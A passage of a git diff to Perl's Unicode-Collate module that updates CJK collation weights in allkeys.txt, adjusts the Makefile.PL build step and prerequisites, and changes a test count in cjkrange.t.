IDEOGRAPH-FA4F FA50 ; [.FB40.0020.0002][.F956.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA50 2F953 ; [.FB40.0020.0002][.F956.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F953 FA51 ; [.FB40.0020.0002][.F95D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA51 -3237 ; [*0317.0020.0004][.FB40.0020.0004][.F95D.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH CONGRATULATION +3237 ; [*0310.0020.0004][.FB40.0020.0004][.F95D.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH CONGRATULATION 3297 ; [.FB40.0020.0006][.F95D.0000.0000] # CIRCLED IDEOGRAPH CONGRATULATION FA19 ; [.FB40.0020.0002][.F95E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA19 FA1A ; [.FB40.0020.0002][.F965.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA1A -3240 ; [*0317.0020.0004][.FB40.0020.0004][.F96D.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FESTIVAL +3240 ; [*0310.0020.0004][.FB40.0020.0004][.F96D.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FESTIVAL F93C ; [.FB40.0020.0002][.F97F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F93C 1F232 ; [.FB40.0020.001C][.F981.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-7981 FA52 ; [.FB40.0020.0002][.F98D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA52 @@ -30028,7 +29408,7 @@ F9F7 ; [.FB40.0020.0002][.FACB.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9F7 2F74 ; [.FB40.0020.0004][.FACB.0000.0000] # KANGXI RADICAL STAND 2F95F ; [.FB40.0020.0002][.FAEE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F95F 2F75 ; [.FB40.0020.0004][.FAF9.0000.0000] # KANGXI RADICAL BAMBOO -2EAE ; [.FB40.0020.0004][.FAF9.0000.0000][.0000.0110.0004] # CJK RADICAL BAMBOO +2EAE ; [.FB40.0020.0004][.FAF9.0000.0000][.0000.010B.0004] # CJK RADICAL BAMBOO F9F8 ; [.FB40.0020.0002][.FB20.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9F8 3247 ; [.FB40.0020.0006][.FB8F.0000.0000] # CIRCLED IDEOGRAPH KOTO FA56 ; [.FB40.0020.0002][.FBC0.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA56 @@ -30071,17 +29451,17 @@ FA59 ; [.FB40.0020.0002][.FE41.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA59 FAB1 ; [.FB40.0020.0002][.FF3E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAB1 2F79 ; [.FB40.0020.0004][.FF51.0000.0000] # KANGXI RADICAL NET 2EB2 ; [.FB40.0020.0004][.FF52.0000.0000] # CJK RADICAL NET TWO -2EB5 ; [.FB40.0020.0004][.FF52.0000.0000][.0000.0110.0004] # CJK RADICAL MESH +2EB5 ; [.FB40.0020.0004][.FF52.0000.0000][.0000.010B.0004] # CJK RADICAL MESH 2EB1 ; [.FB40.0020.0004][.FF53.0000.0000] # CJK RADICAL NET ONE -2EB3 ; [.FB40.0020.0004][.FF53.0000.0000][.0000.0110.0004] # CJK RADICAL NET THREE -2EB4 ; [.FB40.0020.0004][.FF53.0000.0000][.0000.0111.0004] # CJK RADICAL NET FOUR +2EB3 ; [.FB40.0020.0004][.FF53.0000.0000][.0000.010B.0004] # CJK RADICAL NET THREE +2EB4 ; [.FB40.0020.0004][.FF53.0000.0000][.0000.010C.0004] # CJK RADICAL NET FOUR FA5A ; [.FB40.0020.0002][.FF72.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA5A F9E6 ; [.FB40.0020.0002][.FF79.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9E6 2F976 ; [.FB40.0020.0002][.FF7A.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F976 F90F ; [.FB40.0020.0002][.FF85.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F90F 2F7A ; [.FB40.0020.0004][.FF8A.0000.0000] # KANGXI RADICAL SHEEP -2EB6 ; [.FB40.0020.0004][.FF8A.0000.0000][.0000.0110.0004] # CJK RADICAL SHEEP -2EB7 ; [.FB40.0020.0004][.FF8A.0000.0000][.0000.0111.0004] # CJK RADICAL RAM +2EB6 ; [.FB40.0020.0004][.FF8A.0000.0000][.0000.010B.0004] # CJK RADICAL SHEEP +2EB7 ; [.FB40.0020.0004][.FF8A.0000.0000][.0000.010C.0004] # CJK RADICAL RAM 2EB8 ; [.FB40.0020.0004][.FF8B.0000.0000] # CJK RADICAL EWE 2F978 ; [.FB40.0020.0002][.FF95.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F978 F9AF ; [.FB40.0020.0002][.FF9A.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9AF @@ -30103,10 +29483,10 @@ F997 ; [.FB41.0020.0002][.806F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F997 2F97F ; [.FB41.0020.0002][.8070.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F97F F945 ; [.FB41.0020.0002][.807E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F945 2F80 ; [.FB41.0020.0004][.807F.0000.0000] # KANGXI RADICAL BRUSH -2EBB ; [.FB41.0020.0004][.807F.0000.0000][.0000.0110.0004] # CJK RADICAL BRUSH TWO +2EBB ; [.FB41.0020.0004][.807F.0000.0000][.0000.010B.0004] # CJK RADICAL BRUSH TWO 2EBA ; [.FB41.0020.0004][.8080.0000.0000] # CJK RADICAL BRUSH ONE 2F81 ; [.FB41.0020.0004][.8089.0000.0000] # KANGXI RADICAL MEAT -2EBC ; [.FB41.0020.0004][.8089.0000.0000][.0000.0110.0004] # CJK RADICAL MEAT +2EBC ; [.FB41.0020.0004][.8089.0000.0000][.0000.010B.0004] # CJK RADICAL MEAT F953 ; [.FB41.0020.0002][.808B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F953 2F8D6 ; [.FB41.0020.0002][.80AD.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8D6 2F982 ; [.FB41.0020.0002][.80B2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F982 @@ -30116,12 +29496,12 @@ F926 ; [.FB41.0020.0002][.81D8.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F926 2F82 ; [.FB41.0020.0004][.81E3.0000.0000] # KANGXI RADICAL MINISTER F9F6 ; [.FB41.0020.0002][.81E8.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9F6 2F83 ; [.FB41.0020.0004][.81EA.0000.0000] # KANGXI RADICAL SELF -3242 ; [*0317.0020.0004][.FB41.0020.0004][.81EA.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SELF +3242 ; [*0310.0020.0004][.FB41.0020.0004][.81EA.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SELF FA5C ; [.FB41.0020.0002][.81ED.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA5C 2F84 ; [.FB41.0020.0004][.81F3.0000.0000] # KANGXI RADICAL ARRIVE -3243 ; [*0317.0020.0004][.FB41.0020.0004][.81F3.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REACH +3243 ; [*0310.0020.0004][.FB41.0020.0004][.81F3.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REACH 2F85 ; [.FB41.0020.0004][.81FC.0000.0000] # KANGXI RADICAL MORTAR -2EBD ; [.FB41.0020.0004][.81FC.0000.0000][.0000.0110.0004] # CJK RADICAL MORTAR +2EBD ; [.FB41.0020.0004][.81FC.0000.0000][.0000.010B.0004] # CJK RADICAL MORTAR 2F893 ; [.FB41.0020.0002][.8201.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F893 2F98B ; [.FB41.0020.0002][.8201.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F98B 2F98C ; [.FB41.0020.0002][.8204.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F98C @@ -30136,8 +29516,8 @@ F97C ; [.FB41.0020.0002][.826F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F97C FA5D ; [.FB41.0020.0002][.8279.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA5D FA5E ; [.FB41.0020.0002][.8279.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA5E 2EBE ; [.FB41.0020.0004][.8279.0000.0000] # CJK RADICAL GRASS ONE -2EBF ; [.FB41.0020.0004][.8279.0000.0000][.0000.0110.0004] # CJK RADICAL GRASS TWO -2EC0 ; [.FB41.0020.0004][.8279.0000.0000][.0000.0111.0004] # CJK RADICAL GRASS THREE +2EBF ; [.FB41.0020.0004][.8279.0000.0000][.0000.010B.0004] # CJK RADICAL GRASS TWO +2EC0 ; [.FB41.0020.0004][.8279.0000.0000][.0000.010C.0004] # CJK RADICAL GRASS THREE 2F990 ; [.FB41.0020.0002][.828B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F990 2F98F ; [.FB41.0020.0002][.8291.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F98F 2F991 ; [.FB41.0020.0002][.829D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F991 @@ -30227,7 +29607,7 @@ FAB8 ; [.FB41.0020.0002][.8996.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAB8 2EC5 ; [.FB41.0020.0004][.89C1.0000.0000] # CJK RADICAL C-SIMPLIFIED SEE 2EC6 ; [.FB41.0020.0004][.89D2.0000.0000] # CJK RADICAL SIMPLIFIED HORN 2F93 ; [.FB41.0020.0004][.89D2.0000.0000] # KANGXI RADICAL HORN -2EC7 ; [.FB41.0020.0004][.89D2.0000.0000][.0000.0110.0004] # CJK RADICAL HORN +2EC7 ; [.FB41.0020.0004][.89D2.0000.0000][.0000.010B.0004] # CJK RADICAL HORN 1F216 ; [.FB41.0020.001C][.89E3.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-89E3 2F94 ; [.FB41.0020.0004][.8A00.0000.0000] # KANGXI RADICAL SPEECH 2F9CF ; [.FB41.0020.0002][.8AA0.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9CF @@ -30259,13 +29639,13 @@ F900 ; [.FB41.0020.0002][.8C48.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F900 2F97 ; [.FB41.0020.0004][.8C55.0000.0000] # KANGXI RADICAL PIG 2F98 ; [.FB41.0020.0004][.8C78.0000.0000] # KANGXI RADICAL BADGER 2F99 ; [.FB41.0020.0004][.8C9D.0000.0000] # KANGXI RADICAL SHELL -3236 ; [*0317.0020.0004][.FB41.0020.0004][.8CA1.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FINANCIAL +3236 ; [*0310.0020.0004][.FB41.0020.0004][.8CA1.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FINANCIAL 3296 ; [.FB41.0020.0006][.8CA1.0000.0000] # CIRCLED IDEOGRAPH FINANCIAL 1F223 ; [.FB41.0020.001C][.8CA9.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-8CA9 2F9D4 ; [.FB41.0020.0002][.8CAB.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9D4 2F9D5 ; [.FB41.0020.0002][.8CC1.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9D5 F948 ; [.FB41.0020.0002][.8CC2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F948 -323E ; [*0317.0020.0004][.FB41.0020.0004][.8CC7.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH RESOURCE +323E ; [*0310.0020.0004][.FB41.0020.0004][.8CC7.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH RESOURCE 32AE ; [.FB41.0020.0006][.8CC7.0000.0000] # CIRCLED IDEOGRAPH RESOURCE F903 ; [.FB41.0020.0002][.8CC8.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F903 FA64 ; [.FB41.0020.0002][.8CD3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA64 @@ -30278,7 +29658,7 @@ FAC1 ; [.FB41.0020.0002][.8D08.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAC1 1F230 ; [.FB41.0020.001C][.8D70.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-8D70 2F9D7 ; [.FB41.0020.0002][.8D77.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9D7 2F9C ; [.FB41.0020.0004][.8DB3.0000.0000] # KANGXI RADICAL FOOT -2ECA ; [.FB41.0020.0004][.8DB3.0000.0000][.0000.0110.0004] # CJK RADICAL FOOT +2ECA ; [.FB41.0020.0004][.8DB3.0000.0000][.0000.010B.0004] # CJK RADICAL FOOT 2F9DB ; [.FB41.0020.0002][.8DBC.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9DB 2F9DA ; [.FB41.0020.0002][.8DCB.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9DA F937 ; [.FB41.0020.0002][.8DEF.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F937 @@ -30301,8 +29681,8 @@ F971 ; [.FB41.0020.0002][.8FB0.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F971 2FA1 ; [.FB41.0020.0004][.8FB5.0000.0000] # KANGXI RADICAL WALK FA66 ; [.FB41.0020.0002][.8FB6.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA66 2ECC ; [.FB41.0020.0004][.8FB6.0000.0000] # CJK RADICAL SIMPLIFIED WALK -2ECD ; [.FB41.0020.0004][.8FB6.0000.0000][.0000.0110.0004] # CJK RADICAL WALK ONE -2ECE ; [.FB41.0020.0004][.8FB6.0000.0000][.0000.0111.0004] # CJK RADICAL WALK TWO +2ECD ; [.FB41.0020.0004][.8FB6.0000.0000][.0000.010B.0004] # CJK RADICAL WALK ONE +2ECE ; [.FB41.0020.0004][.8FB6.0000.0000][.0000.010C.0004] # CJK RADICAL WALK TWO F99A ; [.FB41.0020.0002][.9023.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F99A FA25 ; [.FB41.0020.0002][.9038.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA25 FA67 ; [.FB41.0020.0002][.9038.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA67 @@ -30312,7 +29692,7 @@ FAC3 ; [.FB41.0020.0002][.9072.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAC3 F9C3 ; [.FB41.0020.0002][.907C.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9C3 F913 ; [.FB41.0020.0002][.908F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F913 2FA2 ; [.FB41.0020.0004][.9091.0000.0000] # KANGXI RADICAL CITY -2ECF ; [.FB41.0020.0004][.9091.0000.0000][.0000.0110.0004] # CJK RADICAL CITY +2ECF ; [.FB41.0020.0004][.9091.0000.0000][.0000.010B.0004] # CJK RADICAL CITY 2F9E2 ; [.FB41.0020.0002][.9094.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9E2 F92C ; [.FB41.0020.0002][.90CE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F92C FA2E ; [.FB41.0020.0002][.90DE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA2E @@ -30321,7 +29701,6 @@ FA26 ; [.FB41.0020.0002][.90FD.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA26 2F9E4 ; [.FB41.0020.0002][.9111.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9E4 2F9E6 ; [.FB41.0020.0002][.911B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9E6 2FA3 ; [.FB41.0020.0004][.9149.0000.0000] # KANGXI RADICAL WINE -1F23B ; [.FB41.0020.001C][.914D.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-914D F919 ; [.FB41.0020.0002][.916A.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F919 FAC4 ; [.FB41.0020.0002][.9199.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAC4 F9B7 ; [.FB41.0020.0002][.91B4.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9B7 @@ -30331,7 +29710,7 @@ F9E9 ; [.FB41.0020.0002][.91CC.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9E9 F97E ; [.FB41.0020.0002][.91CF.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F97E F90A ; [.FB41.0020.0002][.91D1.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F90A 2FA6 ; [.FB41.0020.0004][.91D1.0000.0000] # KANGXI RADICAL GOLD -322E ; [*0317.0020.0004][.FB41.0020.0004][.91D1.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH METAL +322E ; [*0310.0020.0004][.FB41.0020.0004][.91D1.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH METAL 328E ; [.FB41.0020.0006][.91D1.0000.0000] # CIRCLED IDEOGRAPH METAL F9B1 ; [.FB41.0020.0002][.9234.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9B1 2F9E7 ; [.FB41.0020.0002][.9238.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9E7 @@ -30354,7 +29733,7 @@ F986 ; [.FB41.0020.0002][.95AD.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F986 2F9F0 ; [.FB41.0020.0002][.95B7.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9F0 2ED4 ; [.FB41.0020.0004][.95E8.0000.0000] # CJK RADICAL C-SIMPLIFIED GATE 2FA9 ; [.FB41.0020.0004][.961C.0000.0000] # KANGXI RADICAL MOUND -2ED5 ; [.FB41.0020.0004][.961C.0000.0000][.0000.0110.0004] # CJK RADICAL MOUND ONE +2ED5 ; [.FB41.0020.0004][.961C.0000.0000][.0000.010B.0004] # CJK RADICAL MOUND ONE 2ED6 ; [.FB41.0020.0004][.961D.0000.0000] # CJK RADICAL MOUND TWO F9C6 ; [.FB41.0020.0002][.962E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9C6 F951 ; [.FB41.0020.0002][.964B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F951 @@ -30373,7 +29752,7 @@ F9EA ; [.FB41.0020.0002][.96E2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9EA FA68 ; [.FB41.0020.0002][.96E3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA68 FAC7 ; [.FB41.0020.0002][.96E3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAC7 2FAC ; [.FB41.0020.0004][.96E8.0000.0000] # KANGXI RADICAL RAIN -2ED7 ; [.FB41.0020.0004][.96E8.0000.0000][.0000.0110.0004] # CJK RADICAL RAIN +2ED7 ; [.FB41.0020.0004][.96E8.0000.0000][.0000.010B.0004] # CJK RADICAL RAIN F9B2 ; [.FB41.0020.0002][.96F6.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9B2 F949 ; [.FB41.0020.0002][.96F7.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F949 2F9F5 ; [.FB41.0020.0002][.9723.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F9F5 @@ -30412,7 +29791,7 @@ F9D0 ; [.FB41.0020.0002][.985E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9D0 2EDD ; [.FB41.0020.0004][.98DF.0000.0000] # CJK RADICAL EAT ONE 2FB7 ; [.FB41.0020.0004][.98DF.0000.0000] # KANGXI RADICAL EAT 2EDF ; [.FB41.0020.0004][.98E0.0000.0000] # CJK RADICAL EAT THREE -2EDE ; [.FB41.0020.0004][.98E0.0000.0000][.0000.0110.0004] # CJK RADICAL EAT TWO +2EDE ; [.FB41.0020.0004][.98E0.0000.0000][.0000.010B.0004] # CJK RADICAL EAT TWO 2FA02 ; [.FB41.0020.0002][.98E2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2FA02 FA2A ; [.FB41.0020.0002][.98EF.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA2A FA2B ; [.FB41.0020.0002][.98FC.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA2B @@ -30420,7 +29799,7 @@ FA2C ; [.FB41.0020.0002][.9928.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA2C 2FA04 ; [.FB41.0020.0002][.9929.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2FA04 2EE0 ; [.FB41.0020.0004][.9963.0000.0000] # CJK RADICAL C-SIMPLIFIED EAT 2FB8 ; [.FB41.0020.0004][.9996.0000.0000] # KANGXI RADICAL HEAD -2EE1 ; [.FB41.0020.0004][.9996.0000.0000][.0000.0110.0004] # CJK RADICAL HEAD +2EE1 ; [.FB41.0020.0004][.9996.0000.0000][.0000.010B.0004] # CJK RADICAL HEAD 2FB9 ; [.FB41.0020.0004][.9999.0000.0000] # KANGXI RADICAL FRAGRANT 2FA05 ; [.FB41.0020.0002][.99A7.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2FA05 2FBA ; [.FB41.0020.0004][.99AC.0000.0000] # KANGXI RADICAL HORSE @@ -30430,7 +29809,7 @@ F91A ; [.FB41.0020.0002][.99F1.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F91A F987 ; [.FB41.0020.0002][.9A6A.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F987 2EE2 ; [.FB41.0020.0004][.9A6C.0000.0000] # CJK RADICAL C-SIMPLIFIED HORSE 2FBB ; [.FB41.0020.0004][.9AA8.0000.0000] # KANGXI RADICAL BONE -2EE3 ; [.FB41.0020.0004][.9AA8.0000.0000][.0000.0110.0004] # CJK RADICAL BONE +2EE3 ; [.FB41.0020.0004][.9AA8.0000.0000][.0000.010B.0004] # CJK RADICAL BONE 2FBC ; [.FB41.0020.0004][.9AD8.0000.0000] # KANGXI RADICAL TALL 2FBD ; [.FB41.0020.0004][.9ADF.0000.0000] # KANGXI RADICAL HAIR FACD ; [.FB41.0020.0002][.9B12.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FACD @@ -30439,7 +29818,7 @@ FACD ; [.FB41.0020.0002][.9B12.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FACD 2FBF ; [.FB41.0020.0004][.9B2F.0000.0000] # KANGXI RADICAL SACRIFICIAL WINE 2FC0 ; [.FB41.0020.0004][.9B32.0000.0000] # KANGXI RADICAL CAULDRON 2FC1 ; [.FB41.0020.0004][.9B3C.0000.0000] # KANGXI RADICAL GHOST -2EE4 ; [.FB41.0020.0004][.9B3C.0000.0000][.0000.0110.0004] # CJK RADICAL GHOST +2EE4 ; [.FB41.0020.0004][.9B3C.0000.0000][.0000.010B.0004] # CJK RADICAL GHOST 2FC2 ; [.FB41.0020.0004][.9B5A.0000.0000] # KANGXI RADICAL FISH F939 ; [.FB41.0020.0002][.9B6F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F939 2FA0B ; [.FB41.0020.0002][.9C40.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2FA0B @@ -30453,7 +29832,7 @@ F93A ; [.FB41.0020.0002][.9DFA.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F93A F920 ; [.FB41.0020.0002][.9E1E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F920 2EE6 ; [.FB41.0020.0004][.9E1F.0000.0000] # CJK RADICAL C-SIMPLIFIED BIRD 2FC4 ; [.FB41.0020.0004][.9E75.0000.0000] # KANGXI RADICAL SALT -2EE7 ; [.FB41.0020.0004][.9E75.0000.0000][.0000.0110.0004] # CJK RADICAL C-SIMPLIFIED SALT +2EE7 ; [.FB41.0020.0004][.9E75.0000.0000][.0000.010B.0004] # CJK RADICAL C-SIMPLIFIED SALT F940 ; [.FB41.0020.0002][.9E7F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F940 2FC5 ; [.FB41.0020.0004][.9E7F.0000.0000] # KANGXI RADICAL DEER F988 ; [.FB41.0020.0002][.9E97.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F988 @@ -30482,22 +29861,22 @@ F989 ; [.FB41.0020.0002][.9ECE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F989 2FD0 ; [.FB41.0020.0004][.9F3B.0000.0000] # KANGXI RADICAL NOSE FAD8 ; [.FB41.0020.0002][.9F43.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAD8 2FD1 ; [.FB41.0020.0004][.9F4A.0000.0000] # KANGXI RADICAL EVEN -2EEB ; [.FB41.0020.0004][.9F4A.0000.0000][.0000.0110.0004] # CJK RADICAL J-SIMPLIFIED EVEN +2EEB ; [.FB41.0020.0004][.9F4A.0000.0000][.0000.010B.0004] # CJK RADICAL J-SIMPLIFIED EVEN 2EEC ; [.FB41.0020.0004][.9F50.0000.0000] # CJK RADICAL C-SIMPLIFIED EVEN 2FD2 ; [.FB41.0020.0004][.9F52.0000.0000] # KANGXI RADICAL TOOTH -2EED ; [.FB41.0020.0004][.9F52.0000.0000][.0000.0110.0004] # CJK RADICAL J-SIMPLIFIED TOOTH +2EED ; [.FB41.0020.0004][.9F52.0000.0000][.0000.010B.0004] # CJK RADICAL J-SIMPLIFIED TOOTH 2EEE ; [.FB41.0020.0004][.9F7F.0000.0000] # CJK RADICAL C-SIMPLIFIED TOOTH F9C4 ; [.FB41.0020.0002][.9F8D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9C4 2FD3 ; [.FB41.0020.0004][.9F8D.0000.0000] # KANGXI RADICAL DRAGON -2EEF ; [.FB41.0020.0004][.9F8D.0000.0000][.0000.0110.0004] # CJK RADICAL J-SIMPLIFIED DRAGON +2EEF ; [.FB41.0020.0004][.9F8D.0000.0000][.0000.010B.0004] # CJK RADICAL J-SIMPLIFIED DRAGON FAD9 ; [.FB41.0020.0002][.9F8E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAD9 2EF0 ; [.FB41.0020.0004][.9F99.0000.0000] # CJK RADICAL C-SIMPLIFIED DRAGON F907 ; [.FB41.0020.0002][.9F9C.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F907 F908 ; [.FB41.0020.0002][.9F9C.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F908 FACE ; [.FB41.0020.0002][.9F9C.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FACE 2FD4 ; [.FB41.0020.0004][.9F9C.0000.0000] # KANGXI RADICAL TURTLE -2EF1 ; [.FB41.0020.0004][.9F9C.0000.0000][.0000.0110.0004] # CJK RADICAL TURTLE -2EF2 ; [.FB41.0020.0004][.9F9C.0000.0000][.0000.0111.0004] # CJK RADICAL J-SIMPLIFIED TURTLE +2EF1 ; [.FB41.0020.0004][.9F9C.0000.0000][.0000.010B.0004] # CJK RADICAL TURTLE +2EF2 ; [.FB41.0020.0004][.9F9C.0000.0000][.0000.010C.0004] # CJK RADICAL J-SIMPLIFIED TURTLE 2EF3 ; [.FB41.0020.0004][.9F9F.0000.0000] # CJK RADICAL C-SIMPLIFIED TURTLE 2FD5 ; [.FB41.0020.0004][.9FA0.0000.0000] # KANGXI RADICAL FLUTE FA0E ; [.FB41.0020.0002][.FA0E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA0E @@ -30695,5 +30074,3 @@ FAD7 ; [.FB84.0020.0002][.FED3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAD7 2F88F ; [.FB85.0020.0002][.A392.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F88F 2FA1D ; [.FB85.0020.0002][.A600.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2FA1D FFFD ; [.FFFD.0020.0002] # REPLACEMENT CHARACTER - -# EOF diff --git a/cpan/Unicode-Collate/Makefile.PL b/cpan/Unicode-Collate/Makefile.PL index 1cb39a88e0d0..4103bc98361a 100644 --- a/cpan/Unicode-Collate/Makefile.PL +++ b/cpan/Unicode-Collate/Makefile.PL @@ -5,9 +5,9 @@ my $clean = {}; if (-f "Collate.xs") { print "Making header files for XS...\n"; - # Should $mkh be File::Spec->catfile(File::Spec->curdir(), 'mkheader') ? - my $mkh = './mkheader'; - do $mkh or die $@ || "mkheader: $!"; + + do 'mkheader' or die $@ || "mkheader: $!"; + $clean = { FILES => 'ucatbl.h' }; } @@ -22,9 +22,9 @@ WriteMakefile( 'clean' => $clean, 'PREREQ_PM' => { Carp => 0, - File::Spec => 0, - XSLoader => 0, constant => 0, + DynaLoader => 0, + File::Spec => 0, strict => 0, warnings => 0, }, diff --git a/cpan/Unicode-Collate/mkheader b/cpan/Unicode-Collate/mkheader index 8d4076f1837f..4954b5165551 100644 --- a/cpan/Unicode-Collate/mkheader +++ b/cpan/Unicode-Collate/mkheader @@ -4,7 +4,7 @@ # used for building XSUB of Unicode::Collate. # # Usage: -# in perl, or in command line +# in perl, or in command line # # Input file: # Collate/allkeys.txt diff --git a/cpan/Unicode-Collate/t/cjkrange.t b/cpan/Unicode-Collate/t/cjkrange.t index 4ed8710a9d06..ac4dc69826c6 100644 --- a/cpan/Unicode-Collate/t/cjkrange.t +++ b/cpan/Unicode-Collate/t/cjkrange.t @@ -16,7 +16,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..901\n"; } # 1 + 60 x @Versions +BEGIN { $| = 1; print "1..664\n"; } # 